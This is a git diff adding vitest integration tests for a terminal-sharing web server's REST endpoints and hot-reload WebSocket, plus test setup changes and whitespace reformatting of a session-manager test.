// The session should be terminated (tty-fwd should handle this)
|
||||
// In a real implementation, you might want to verify this
|
||||
});
|
||||
});
|
||||
});
|
||||
243
web/src/test/integration/server.integration.test.ts
Normal file
243
web/src/test/integration/server.integration.test.ts
Normal file
|
|
@ -0,0 +1,243 @@
|
|||
import { describe, it, expect, beforeAll, afterAll, beforeEach } from 'vitest';
|
||||
import request from 'supertest';
|
||||
import { Server } from 'http';
|
||||
import path from 'path';
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
import { WebSocket } from 'ws';
|
||||
|
||||
// Set up test environment
|
||||
process.env.NODE_ENV = 'test';
|
||||
process.env.TTY_FWD_CONTROL_DIR = path.join(
|
||||
os.tmpdir(),
|
||||
'vibetunnel-server-test',
|
||||
Date.now().toString()
|
||||
);
|
||||
|
||||
// Create test control directory
|
||||
const testControlDir = process.env.TTY_FWD_CONTROL_DIR;
|
||||
if (!fs.existsSync(testControlDir)) {
|
||||
fs.mkdirSync(testControlDir, { recursive: true });
|
||||
}
|
||||
|
||||
describe('Server Integration Tests', () => {
|
||||
let server: Server;
|
||||
let app: any;
|
||||
let port: number;
|
||||
let baseUrl: string;
|
||||
|
||||
beforeAll(async () => {
|
||||
// Import server after environment is set up
|
||||
const serverModule = await import('../../server');
|
||||
app = serverModule.app;
|
||||
server = serverModule.server;
|
||||
|
||||
// Start server on random port
|
||||
await new Promise<void>((resolve) => {
|
||||
server = app.listen(0, () => {
|
||||
const address = server.address();
|
||||
port = (address as any).port;
|
||||
baseUrl = `http://localhost:${port}`;
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
// Close server
|
||||
await new Promise<void>((resolve) => {
|
||||
server.close(() => resolve());
|
||||
});
|
||||
|
||||
// Clean up test directory
|
||||
if (fs.existsSync(testControlDir)) {
|
||||
fs.rmSync(testControlDir, { recursive: true });
|
||||
}
|
||||
});
|
||||
|
||||
describe('API Endpoints', () => {
|
||||
describe('GET /api/sessions', () => {
|
||||
it('should return sessions list', async () => {
|
||||
const response = await request(app).get('/api/sessions').expect(200);
|
||||
|
||||
expect(Array.isArray(response.body)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/sessions', () => {
|
||||
it('should validate command parameter', async () => {
|
||||
const response = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: 'not-an-array',
|
||||
workingDir: process.cwd(),
|
||||
})
|
||||
.expect(400);
|
||||
|
||||
expect(response.body.error).toContain('Command array is required');
|
||||
});
|
||||
|
||||
it('should validate working directory', async () => {
|
||||
const response = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['echo', 'test'],
|
||||
})
|
||||
.expect(400);
|
||||
|
||||
expect(response.body.error).toContain('Working directory is required');
|
||||
});
|
||||
|
||||
it('should create session with valid parameters', async () => {
|
||||
const response = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['echo', 'hello'],
|
||||
workingDir: process.cwd(),
|
||||
name: 'Test Echo',
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
expect(response.body).toHaveProperty('sessionId');
|
||||
expect(response.body.sessionId).toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
describe('GET /api/fs/browse', () => {
|
||||
it('should list directory contents', async () => {
|
||||
const response = await request(app)
|
||||
.get('/api/fs/browse')
|
||||
.query({ path: process.cwd() })
|
||||
.expect(200);
|
||||
|
||||
expect(response.body).toHaveProperty('entries');
|
||||
expect(Array.isArray(response.body.entries)).toBe(true);
|
||||
expect(response.body).toHaveProperty('currentPath');
|
||||
});
|
||||
|
||||
it('should reject invalid paths', async () => {
|
||||
const response = await request(app)
|
||||
.get('/api/fs/browse')
|
||||
.query({ path: '/nonexistent/path' })
|
||||
.expect(404);
|
||||
|
||||
expect(response.body.error).toContain('Directory not found');
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/mkdir', () => {
|
||||
it('should validate directory name', async () => {
|
||||
const response = await request(app)
|
||||
.post('/api/mkdir')
|
||||
.send({
|
||||
path: process.cwd(),
|
||||
name: '../invalid',
|
||||
})
|
||||
.expect(400);
|
||||
|
||||
expect(response.body.error).toContain('Invalid directory name');
|
||||
});
|
||||
|
||||
it('should create directory with valid name', async () => {
|
||||
const testDirName = `test-dir-${Date.now()}`;
|
||||
const response = await request(app)
|
||||
.post('/api/mkdir')
|
||||
.send({
|
||||
path: process.cwd(),
|
||||
name: testDirName,
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
expect(response.body.success).toBe(true);
|
||||
expect(response.body.path).toContain(testDirName);
|
||||
|
||||
// Clean up
|
||||
const createdPath = path.join(process.cwd(), testDirName);
|
||||
if (fs.existsSync(createdPath)) {
|
||||
fs.rmdirSync(createdPath);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('GET /api/test-cast', () => {
|
||||
it('should return test cast data', async () => {
|
||||
// Skip this test if stream-out file doesn't exist
|
||||
const testCastPath = path.join(__dirname, '../../../public/stream-out');
|
||||
if (!fs.existsSync(testCastPath)) {
|
||||
return;
|
||||
}
|
||||
|
||||
const response = await request(app).get('/api/test-cast').expect(200);
|
||||
|
||||
// The endpoint returns plain text, not JSON
|
||||
expect(response.type).toContain('text/plain');
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('Static File Serving', () => {
|
||||
it('should serve index.html for root path', async () => {
|
||||
const response = await request(app).get('/').expect(200);
|
||||
|
||||
expect(response.type).toContain('text/html');
|
||||
});
|
||||
|
||||
it('should handle 404 for non-existent files', async () => {
|
||||
const response = await request(app).get('/non-existent-file.js').expect(404);
|
||||
|
||||
expect(response.text).toContain('404');
|
||||
});
|
||||
});
|
||||
|
||||
describe('WebSocket Connection', () => {
|
||||
it('should accept WebSocket connections', (done) => {
|
||||
const ws = new WebSocket(`ws://localhost:${port}?hotReload=true`);
|
||||
|
||||
ws.on('open', () => {
|
||||
expect(ws.readyState).toBe(WebSocket.OPEN);
|
||||
ws.close();
|
||||
});
|
||||
|
||||
ws.on('close', () => {
|
||||
done();
|
||||
});
|
||||
|
||||
ws.on('error', (err) => {
|
||||
done(err);
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject non-hot-reload connections', (done) => {
|
||||
const ws = new WebSocket(`ws://localhost:${port}`);
|
||||
|
||||
ws.on('close', (code, reason) => {
|
||||
expect(code).toBe(1008);
|
||||
expect(reason.toString()).toContain('Only hot reload connections supported');
|
||||
done();
|
||||
});
|
||||
|
||||
ws.on('error', () => {
|
||||
// Expected to error
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('Error Handling', () => {
|
||||
it('should handle JSON parsing errors', async () => {
|
||||
const response = await request(app)
|
||||
.post('/api/sessions')
|
||||
.set('Content-Type', 'application/json')
|
||||
.send('invalid json')
|
||||
.expect(400);
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
});
|
||||
|
||||
it('should handle server errors gracefully', async () => {
|
||||
// Test with an endpoint that might fail
|
||||
const response = await request(app).delete('/api/sessions/non-existent-session').expect(404);
|
||||
|
||||
expect(response.body).toHaveProperty('error');
|
||||
});
|
||||
});
|
||||
});
|
||||
345
web/src/test/integration/websocket.integration.test.ts
Normal file
345
web/src/test/integration/websocket.integration.test.ts
Normal file
|
|
@ -0,0 +1,345 @@
|
|||
import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach } from 'vitest';
|
||||
import { WebSocket } from 'ws';
|
||||
import request from 'supertest';
|
||||
import { Server } from 'http';
|
||||
import path from 'path';
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
import { v4 as uuidv4 } from 'uuid';
|
||||
// @ts-expect-error - TypeScript module imports in tests
|
||||
import { app, server, wss } from '../../server';
|
||||
|
||||
// Set up test environment
|
||||
process.env.NODE_ENV = 'test';
|
||||
process.env.PORT = '0';
|
||||
const testControlDir = path.join(os.tmpdir(), 'vibetunnel-ws-test', uuidv4());
|
||||
process.env.TTY_FWD_CONTROL_DIR = testControlDir;
|
||||
|
||||
beforeAll(() => {
|
||||
if (!fs.existsSync(testControlDir)) {
|
||||
fs.mkdirSync(testControlDir, { recursive: true });
|
||||
}
|
||||
});
|
||||
|
||||
afterAll(() => {
|
||||
if (fs.existsSync(testControlDir)) {
|
||||
fs.rmSync(testControlDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
describe('WebSocket Integration Tests', () => {
|
||||
let port: number;
|
||||
let wsUrl: string;
|
||||
let activeSessionIds: string[] = [];
|
||||
|
||||
beforeAll(async () => {
|
||||
// Get server port
|
||||
await new Promise<void>((resolve) => {
|
||||
if (!server.listening) {
|
||||
server.listen(0, () => {
|
||||
const address = server.address();
|
||||
port = (address as any).port;
|
||||
wsUrl = `ws://localhost:${port}`;
|
||||
resolve();
|
||||
});
|
||||
} else {
|
||||
const address = server.address();
|
||||
port = (address as any).port;
|
||||
wsUrl = `ws://localhost:${port}`;
|
||||
resolve();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
// Clean up sessions
|
||||
for (const sessionId of activeSessionIds) {
|
||||
try {
|
||||
await request(app).delete(`/api/sessions/${sessionId}`);
|
||||
} catch (e) {
|
||||
// Ignore
|
||||
}
|
||||
}
|
||||
|
||||
// Close all WebSocket connections
|
||||
wss.clients.forEach((client: any) => {
|
||||
if (client.readyState === WebSocket.OPEN) {
|
||||
client.close();
|
||||
}
|
||||
});
|
||||
|
||||
// Close server
|
||||
await new Promise<void>((resolve) => {
|
||||
server.close(() => resolve());
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
// Clean up sessions after each test
|
||||
activeSessionIds = [];
|
||||
});
|
||||
|
||||
describe('Hot Reload WebSocket', () => {
|
||||
it('should accept hot reload connections', (done) => {
|
||||
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
|
||||
|
||||
ws.on('open', () => {
|
||||
expect(ws.readyState).toBe(WebSocket.OPEN);
|
||||
ws.close();
|
||||
done();
|
||||
});
|
||||
|
||||
ws.on('error', done);
|
||||
});
|
||||
|
||||
it('should reject non-hot-reload connections', (done) => {
|
||||
const ws = new WebSocket(wsUrl);
|
||||
|
||||
ws.on('close', (code, reason) => {
|
||||
expect(code).toBe(1008);
|
||||
expect(reason.toString()).toContain('Only hot reload connections supported');
|
||||
done();
|
||||
});
|
||||
|
||||
ws.on('error', () => {
|
||||
// Expected
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle multiple hot reload clients', async () => {
|
||||
const clients: WebSocket[] = [];
|
||||
const connectionPromises = [];
|
||||
|
||||
// Connect multiple clients
|
||||
for (let i = 0; i < 3; i++) {
|
||||
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
|
||||
clients.push(ws);
|
||||
|
||||
const promise = new Promise<void>((resolve, reject) => {
|
||||
ws.on('open', () => resolve());
|
||||
ws.on('error', reject);
|
||||
});
|
||||
connectionPromises.push(promise);
|
||||
}
|
||||
|
||||
await Promise.all(connectionPromises);
|
||||
|
||||
// All clients should be connected
|
||||
expect(clients.every((ws) => ws.readyState === WebSocket.OPEN)).toBe(true);
|
||||
|
||||
// Clean up
|
||||
clients.forEach((ws) => ws.close());
|
||||
});
|
||||
});
|
||||
|
||||
describe('Terminal Session WebSocket (Future)', () => {
|
||||
// Note: The current server implementation only supports hot reload WebSockets
|
||||
// These tests document the expected behavior for terminal session WebSockets
|
||||
// when that functionality is implemented
|
||||
|
||||
it.skip('should subscribe to terminal session output', async () => {
|
||||
// Create a session first
|
||||
const createResponse = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['sh', '-c', 'for i in 1 2 3; do echo "Line $i"; sleep 0.1; done'],
|
||||
workingDir: os.tmpdir(),
|
||||
name: 'WebSocket Test',
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
const sessionId = createResponse.body.sessionId;
|
||||
activeSessionIds.push(sessionId);
|
||||
|
||||
// Connect WebSocket and subscribe
|
||||
const ws = new WebSocket(wsUrl);
|
||||
const messages: any[] = [];
|
||||
|
||||
ws.on('message', (data) => {
|
||||
messages.push(JSON.parse(data.toString()));
|
||||
});
|
||||
|
||||
await new Promise<void>((resolve) => {
|
||||
ws.on('open', () => {
|
||||
// Subscribe to session
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'subscribe',
|
||||
sessionId: sessionId,
|
||||
})
|
||||
);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
|
||||
// Wait for messages
|
||||
await new Promise((resolve) => setTimeout(resolve, 1000));
|
||||
|
||||
// Should have received output
|
||||
const outputMessages = messages.filter((m) => m.type === 'terminal-output');
|
||||
expect(outputMessages.length).toBeGreaterThan(0);
|
||||
|
||||
ws.close();
|
||||
});
|
||||
|
||||
it.skip('should handle terminal input via WebSocket', async () => {
|
||||
// Create an interactive session
|
||||
const createResponse = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['sh'],
|
||||
workingDir: os.tmpdir(),
|
||||
name: 'Interactive Test',
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
const sessionId = createResponse.body.sessionId;
|
||||
activeSessionIds.push(sessionId);
|
||||
|
||||
// Connect and send input
|
||||
const ws = new WebSocket(wsUrl);
|
||||
|
||||
await new Promise<void>((resolve) => {
|
||||
ws.on('open', () => {
|
||||
// Send input
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'input',
|
||||
sessionId: sessionId,
|
||||
data: 'echo "Hello WebSocket"\n',
|
||||
})
|
||||
);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
|
||||
// Wait for processing
|
||||
await new Promise((resolve) => setTimeout(resolve, 500));
|
||||
|
||||
// Get snapshot to verify input was processed
|
||||
const snapshotResponse = await request(app)
|
||||
.get(`/api/sessions/${sessionId}/snapshot`)
|
||||
.expect(200);
|
||||
|
||||
const output = snapshotResponse.body.lines.join('\n');
|
||||
expect(output).toContain('Hello WebSocket');
|
||||
|
||||
ws.close();
|
||||
});
|
||||
|
||||
it.skip('should handle terminal resize via WebSocket', async () => {
|
||||
// Create a session
|
||||
const createResponse = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['sh'],
|
||||
workingDir: os.tmpdir(),
|
||||
name: 'Resize Test',
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
const sessionId = createResponse.body.sessionId;
|
||||
activeSessionIds.push(sessionId);
|
||||
|
||||
// Connect and resize
|
||||
const ws = new WebSocket(wsUrl);
|
||||
|
||||
await new Promise<void>((resolve) => {
|
||||
ws.on('open', () => {
|
||||
// Send resize
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'resize',
|
||||
sessionId: sessionId,
|
||||
cols: 120,
|
||||
rows: 40,
|
||||
})
|
||||
);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
|
||||
// Wait for processing
|
||||
await new Promise((resolve) => setTimeout(resolve, 200));
|
||||
|
||||
// Verify resize (would need to check terminal dimensions)
|
||||
ws.close();
|
||||
});
|
||||
});
|
||||
|
||||
describe('WebSocket Error Handling', () => {
|
||||
it('should handle malformed messages gracefully', (done) => {
|
||||
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
|
||||
|
||||
ws.on('open', () => {
|
||||
// Send invalid JSON
|
||||
ws.send('invalid json {');
|
||||
|
||||
// Should not crash the server
|
||||
setTimeout(() => {
|
||||
expect(ws.readyState).toBe(WebSocket.OPEN);
|
||||
ws.close();
|
||||
done();
|
||||
}, 100);
|
||||
});
|
||||
|
||||
ws.on('error', done);
|
||||
});
|
||||
|
||||
it('should handle connection drops', async () => {
|
||||
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
|
||||
|
||||
await new Promise<void>((resolve) => {
|
||||
ws.on('open', resolve);
|
||||
});
|
||||
|
||||
// Abruptly terminate connection
|
||||
ws.terminate();
|
||||
|
||||
// Server should continue functioning
|
||||
const response = await request(app).get('/api/sessions').expect(200);
|
||||
|
||||
expect(response.body).toHaveProperty('sessions');
|
||||
});
|
||||
});
|
||||
|
||||
describe('WebSocket Performance', () => {
|
||||
it('should handle rapid message sending', async () => {
|
||||
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
|
||||
|
||||
await new Promise<void>((resolve) => {
|
||||
ws.on('open', resolve);
|
||||
});
|
||||
|
||||
// Send many messages rapidly
|
||||
const messageCount = 100;
|
||||
for (let i = 0; i < messageCount; i++) {
|
||||
ws.send(JSON.stringify({ type: 'test', index: i }));
|
||||
}
|
||||
|
||||
// Should not crash or lose connection
|
||||
await new Promise((resolve) => setTimeout(resolve, 500));
|
||||
expect(ws.readyState).toBe(WebSocket.OPEN);
|
||||
|
||||
ws.close();
|
||||
});
|
||||
|
||||
it('should handle large messages', async () => {
|
||||
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
|
||||
|
||||
await new Promise<void>((resolve) => {
|
||||
ws.on('open', resolve);
|
||||
});
|
||||
|
||||
// Send a large message
|
||||
const largeData = 'x'.repeat(1024 * 1024); // 1MB
|
||||
ws.send(JSON.stringify({ type: 'test', data: largeData }));
|
||||
|
||||
// Should handle it without issues
|
||||
await new Promise((resolve) => setTimeout(resolve, 200));
|
||||
expect(ws.readyState).toBe(WebSocket.OPEN);
|
||||
|
||||
ws.close();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
@ -35,7 +35,7 @@ describe('Session Manager', () => {
|
|||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockSpawn = vi.mocked(spawn);
|
||||
|
||||
|
||||
// Default mock for tty-fwd
|
||||
const mockTtyFwdProcess = {
|
||||
stdout: {
|
||||
|
|
@ -51,7 +51,7 @@ describe('Session Manager', () => {
|
|||
}),
|
||||
kill: vi.fn(),
|
||||
};
|
||||
|
||||
|
||||
mockSpawn.mockReturnValue(mockTtyFwdProcess);
|
||||
});
|
||||
|
||||
|
|
@ -62,12 +62,12 @@ describe('Session Manager', () => {
|
|||
describe('Session Lifecycle', () => {
|
||||
it('should create a session with valid parameters', async () => {
|
||||
const serverModule = await import('../../server');
|
||||
|
||||
|
||||
// Simulate session creation through the spawn command
|
||||
const sessionId = 'test-' + Date.now();
|
||||
const command = ['bash', '-l'];
|
||||
const workingDir = '/home/test/projects';
|
||||
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
|
|
@ -82,17 +82,17 @@ describe('Session Manager', () => {
|
|||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
|
||||
// Test the spawn command execution
|
||||
const args = ['spawn', '--name', 'Test Session', '--cwd', workingDir, '--', ...command];
|
||||
const result = await new Promise((resolve, reject) => {
|
||||
const proc = mockSpawn('tty-fwd', args);
|
||||
let output = '';
|
||||
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
if (code === 0) {
|
||||
resolve(output);
|
||||
|
|
@ -101,7 +101,7 @@ describe('Session Manager', () => {
|
|||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
expect(result).toBe('Session created successfully');
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', args);
|
||||
});
|
||||
|
|
@ -109,11 +109,11 @@ describe('Session Manager', () => {
|
|||
it('should handle session with environment variables', async () => {
|
||||
const env = { NODE_ENV: 'test', CUSTOM_VAR: 'value' };
|
||||
const command = ['node', 'app.js'];
|
||||
|
||||
|
||||
// Test environment variable passing
|
||||
const envArgs = Object.entries(env).flatMap(([key, value]) => ['--env', `${key}=${value}`]);
|
||||
const args = ['spawn', ...envArgs, '--', ...command];
|
||||
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: { on: vi.fn() },
|
||||
stderr: { on: vi.fn() },
|
||||
|
|
@ -122,13 +122,13 @@ describe('Session Manager', () => {
|
|||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
|
||||
const proc = mockSpawn('tty-fwd', args);
|
||||
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', expect.arrayContaining([
|
||||
'--env', 'NODE_ENV=test',
|
||||
'--env', 'CUSTOM_VAR=value',
|
||||
]));
|
||||
|
||||
expect(mockSpawn).toHaveBeenCalledWith(
|
||||
'tty-fwd',
|
||||
expect.arrayContaining(['--env', 'NODE_ENV=test', '--env', 'CUSTOM_VAR=value'])
|
||||
);
|
||||
});
|
||||
|
||||
it('should list all active sessions', async () => {
|
||||
|
|
@ -178,11 +178,11 @@ describe('Session Manager', () => {
|
|||
const result = await new Promise((resolve, reject) => {
|
||||
const proc = mockSpawn('tty-fwd', ['list']);
|
||||
let output = '';
|
||||
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
if (code === 0) {
|
||||
resolve(JSON.parse(output));
|
||||
|
|
@ -198,7 +198,7 @@ describe('Session Manager', () => {
|
|||
|
||||
it('should terminate a running session', async () => {
|
||||
const sessionId = 'session-to-terminate';
|
||||
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
|
|
@ -217,11 +217,11 @@ describe('Session Manager', () => {
|
|||
const result = await new Promise((resolve, reject) => {
|
||||
const proc = mockSpawn('tty-fwd', ['terminate', sessionId]);
|
||||
let output = '';
|
||||
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
if (code === 0) {
|
||||
resolve(output);
|
||||
|
|
@ -254,11 +254,11 @@ describe('Session Manager', () => {
|
|||
const result = await new Promise((resolve, reject) => {
|
||||
const proc = mockSpawn('tty-fwd', ['clean']);
|
||||
let output = '';
|
||||
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
if (code === 0) {
|
||||
resolve(output);
|
||||
|
|
@ -277,7 +277,7 @@ describe('Session Manager', () => {
|
|||
it('should write input to a session', async () => {
|
||||
const sessionId = 'interactive-session';
|
||||
const input = 'echo "Hello, World!"\n';
|
||||
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: { on: vi.fn() },
|
||||
stderr: { on: vi.fn() },
|
||||
|
|
@ -288,7 +288,7 @@ describe('Session Manager', () => {
|
|||
}));
|
||||
|
||||
const proc = mockSpawn('tty-fwd', ['write', sessionId, input]);
|
||||
|
||||
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['write', sessionId, input]);
|
||||
});
|
||||
|
||||
|
|
@ -296,7 +296,7 @@ describe('Session Manager', () => {
|
|||
const sessionId = 'resize-session';
|
||||
const cols = 120;
|
||||
const rows = 40;
|
||||
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: { on: vi.fn() },
|
||||
stderr: { on: vi.fn() },
|
||||
|
|
@ -307,13 +307,8 @@ describe('Session Manager', () => {
|
|||
}));
|
||||
|
||||
const proc = mockSpawn('tty-fwd', ['resize', sessionId, String(cols), String(rows)]);
|
||||
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', [
|
||||
'resize',
|
||||
sessionId,
|
||||
'120',
|
||||
'40',
|
||||
]);
|
||||
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['resize', sessionId, '120', '40']);
|
||||
});
|
||||
|
||||
it('should get terminal snapshot', async () => {
|
||||
|
|
@ -329,7 +324,7 @@ describe('Session Manager', () => {
|
|||
cols: 80,
|
||||
rows: 24,
|
||||
};
|
||||
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
|
|
@ -348,11 +343,11 @@ describe('Session Manager', () => {
|
|||
const result = await new Promise((resolve, reject) => {
|
||||
const proc = mockSpawn('tty-fwd', ['snapshot', sessionId]);
|
||||
let output = '';
|
||||
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
if (code === 0) {
|
||||
resolve(JSON.parse(output));
|
||||
|
|
@ -373,13 +368,13 @@ describe('Session Manager', () => {
|
|||
mockStreamProcess.stdout = new EventEmitter();
|
||||
mockStreamProcess.stderr = new EventEmitter();
|
||||
mockStreamProcess.kill = vi.fn();
|
||||
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => mockStreamProcess);
|
||||
|
||||
// Start streaming
|
||||
const streamData: string[] = [];
|
||||
const proc = mockSpawn('tty-fwd', ['stream', sessionId]);
|
||||
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
streamData.push(data.toString());
|
||||
});
|
||||
|
|
@ -414,11 +409,11 @@ describe('Session Manager', () => {
|
|||
const result = await new Promise((resolve) => {
|
||||
const proc = mockSpawn('tty-fwd', ['spawn', '--', 'invalid-command']);
|
||||
let error = '';
|
||||
|
||||
|
||||
proc.stderr.on('data', (data: Buffer) => {
|
||||
error += data.toString();
|
||||
});
|
||||
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
resolve({ code, error });
|
||||
});
|
||||
|
|
@ -435,11 +430,11 @@ describe('Session Manager', () => {
|
|||
on: vi.fn(),
|
||||
kill: vi.fn(),
|
||||
};
|
||||
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => mockSlowProcess);
|
||||
|
||||
const proc = mockSpawn('tty-fwd', ['list']);
|
||||
|
||||
|
||||
// Simulate timeout
|
||||
const timeoutId = setTimeout(() => {
|
||||
proc.kill('SIGTERM');
|
||||
|
|
@ -468,11 +463,11 @@ describe('Session Manager', () => {
|
|||
const result = await new Promise((resolve) => {
|
||||
const proc = mockSpawn('tty-fwd', ['terminate', 'non-existent-session']);
|
||||
let error = '';
|
||||
|
||||
|
||||
proc.stderr.on('data', (data: Buffer) => {
|
||||
error += data.toString();
|
||||
});
|
||||
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
resolve({ code, error });
|
||||
});
|
||||
|
|
@ -482,4 +477,4 @@ describe('Session Manager', () => {
|
|||
expect((result as any).error).toContain('Session not found');
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
43
web/src/test/setup.integration.ts
Normal file
43
web/src/test/setup.integration.ts
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
import { vi } from 'vitest';
|
||||
|
||||
// Set test environment
|
||||
process.env.NODE_ENV = 'test';
|
||||
process.env.VITEST_INTEGRATION = 'true';
|
||||
|
||||
// Don't mock dependencies for integration tests
|
||||
// We want to test the real implementation
|
||||
|
||||
// Set up global test utilities
|
||||
global.fetch = vi.fn();
|
||||
|
||||
// Increase timeout for integration tests
|
||||
vi.setConfig({ testTimeout: 30000 });
|
||||
|
||||
// Clean up any leftover test data
|
||||
import fs from 'fs';
|
||||
import path from 'path';
|
||||
import os from 'os';
|
||||
|
||||
const cleanupTestDirectories = () => {
|
||||
const testDirPattern = /vibetunnel-(test|ws-test|lifecycle-test)/;
|
||||
const tmpDir = os.tmpdir();
|
||||
|
||||
try {
|
||||
const entries = fs.readdirSync(tmpDir);
|
||||
entries.forEach((entry) => {
|
||||
if (testDirPattern.test(entry)) {
|
||||
const fullPath = path.join(tmpDir, entry);
|
||||
try {
|
||||
fs.rmSync(fullPath, { recursive: true, force: true });
|
||||
} catch (e) {
|
||||
// Ignore errors during cleanup
|
||||
}
|
||||
}
|
||||
});
|
||||
} catch (e) {
|
||||
// Ignore errors
|
||||
}
|
||||
};
|
||||
|
||||
// Clean up before tests
|
||||
cleanupTestDirectories();
|
||||
|
|
@ -3,19 +3,22 @@ import { vi } from 'vitest';
|
|||
// Set test environment
|
||||
process.env.NODE_ENV = 'test';
|
||||
|
||||
// Mock node-pty for tests since it requires native bindings
|
||||
vi.mock('node-pty', () => ({
|
||||
spawn: vi.fn(() => ({
|
||||
pid: 12345,
|
||||
process: 'mock-process',
|
||||
write: vi.fn(),
|
||||
resize: vi.fn(),
|
||||
kill: vi.fn(),
|
||||
on: vi.fn(),
|
||||
onData: vi.fn(),
|
||||
onExit: vi.fn(),
|
||||
})),
|
||||
}));
|
||||
// Only mock node-pty for unit tests, not integration tests
|
||||
if (!process.env.VITEST_INTEGRATION) {
|
||||
// Mock node-pty for tests since it requires native bindings
|
||||
vi.mock('node-pty', () => ({
|
||||
spawn: vi.fn(() => ({
|
||||
pid: 12345,
|
||||
process: 'mock-process',
|
||||
write: vi.fn(),
|
||||
resize: vi.fn(),
|
||||
kill: vi.fn(),
|
||||
on: vi.fn(),
|
||||
onData: vi.fn(),
|
||||
onExit: vi.fn(),
|
||||
})),
|
||||
}));
|
||||
}
|
||||
|
||||
// Set up global test utilities
|
||||
global.fetch = vi.fn();
|
||||
|
|
@ -32,19 +35,19 @@ global.WebSocket = vi.fn(() => ({
|
|||
// Add custom matchers if needed
|
||||
expect.extend({
|
||||
toBeValidSession(received) {
|
||||
const pass =
|
||||
const pass =
|
||||
received &&
|
||||
typeof received.id === 'string' &&
|
||||
typeof received.command === 'string' &&
|
||||
typeof received.workingDir === 'string' &&
|
||||
['running', 'exited'].includes(received.status);
|
||||
|
||||
|
||||
return {
|
||||
pass,
|
||||
message: () =>
|
||||
message: () =>
|
||||
pass
|
||||
? `expected ${received} not to be a valid session`
|
||||
: `expected ${received} to be a valid session`,
|
||||
};
|
||||
},
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
